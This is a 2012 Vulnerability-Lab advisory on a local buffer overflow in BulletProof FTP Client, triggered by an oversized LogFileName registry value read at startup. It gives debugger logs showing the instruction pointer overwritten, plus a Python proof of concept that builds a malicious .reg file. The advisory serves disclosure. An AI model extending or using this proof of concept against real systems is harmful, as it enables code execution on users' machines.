Title:
======
BulletProof FTP Client 2010 - Buffer Overflow Vulnerability


Date:
=====
2012-04-02


References:
===========
https://www.vulnerability-lab.com/get_content.php?id=475


VL-ID:
=====
475


Introduction:
=============
BPFTP Client is a fully automated FTP client, with many advanced features including automatic download resuming, 
leech mode, ftp search and much more. Perfect for personal or corporate Webmasters as well as for Software and Music traders.

Features:
+ Automatic Resume/Reconnect
+ Browse Offline with Cache
+ Leech Mode
+ Hidden File Support
+ Download Credit/Ratio Support
+ Clipboard Monitor
+ Queue 1,000s of Actions
+ Proxy/Firewall Support
+ HTTP/Webserver Support
+ Import CuteFTP, WS_FTP, FTP Explorer
+ Remote Mirroring
+ Search and Filter Ability

(Copy of the Vendor Homepage: https://www.bpftp.com )


Abstract:
=========
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on BulletProof FTP Client v2010.75.0.76


Report-Timeline:
================
2012-03-14:  Vendor Notification
2012-03-16:  Vendor Response/Feedback
2012-04-02:  Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
BulletProof
Product: BPFTP Client Software (Windows) v2010.75.0.76 & 2011.x


Exploitation-Technique:
=======================
Local


Severity:
=========
High


Details:
========
A Buffer Overflow vulnerability is detected on BulletProof FTP Client v2010.75.0.76 (current version).  The vulnerability is located 
in the main executeable bpftpclient.exe. During the start of the application the value LogFileName from the 
registry key [HKEY_CURRENT_USER/Software/BulletProof Software/BulletProof FTP Client 2010/Options] is read. 
When inserting an oversized value to the registry value a buffer overflow is triggered. The victim only needs to start the application.

Vulnerable Module(s):
                                                   [+]  bpftpclient.exe


---  Debugger Logs  ---
# 42424242: The instruction at 0x42424242 referenced memory at 0x42424242. 
The memory could not be read -> 42424242 (exc.code c0000005, tid 2264)

# Registers:
# EAX 00000000
# ECX 42424242
# EDX 7C9132BC ntdll.7C9132BC
# EBX 00000000
# ESP 0012F594
# EBP 0012F5B4
# ESI 00000000
# EDI 00000000
# EIP 42424242

# Stack:
# 0012F588   00140198
# 0012F58C   7C91D80A  ntdll.7C91D80A
# 0012F590   7C9601E1  ntdll.7C9601E1
# 0012F594   7C9132A8  RETURN to ntdll.7C9132A8
# 0012F598   0012F67C
# 0012F59C   0012FBCC  ASCII ``AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC``
# 0012F5A0   0012F698

# Dump:
# 0012FBB4  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012FBBC  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012FBC4  41 41 41 41 41 41 41 41  AAAAAAAA
# 0012FBCC  41 41 41 41 42 42 42 42  AAAABBBB
# 0012FBD4  43 43 43 43 43 43 43 43  CCCCCCCC
# 0012FBDC  43 43 43 43 43 43 43 43  CCCCCCCC
# 0012FBE4  43 43 43 43 43 43 43 43  CCCCCCCC


Picture(s):
                                                   ../1.png
                                                   ../2.png


Proof of Concept:
=================
The vulnerability can be exploited by local attackers. Successful exploitation requires no user inter action. For demonstration or reproduce ...

#!/usr/bin/python
 
# Exploit Title: BulletProof FTP Client v2010.75.0.76 Local Buffer Overflow 
# Version:       2010.75.0.76
# Date:          2012-03-11
# Author:        Julien Ahrens
# Homepage:      https://www.inshell.net
# Software Link: https://www.bpftp.com/
# Tested on:     Windows XP SP3 Professional German
# Notes:         -
# Howto:         Import Reg -> Start App

file="poc.reg"

junk1="\x41" * 448
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\BulletProof Software\BulletProof FTP Client 2010\Options]\n"
poc=poc + "\"LogFileName\"=\"" + junk1 + boom + junk2 + "\""

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";



Risk:
=====
The security risk of the local buffer overflow vulnerability is estimated as high(+).


Credits:
========
Vulnerability Research Laboratory   -    Julien Ahrens  (MrTuxracer)  [www.inshell.net]


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
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                Copyright © 2012|Vulnerability-Lab




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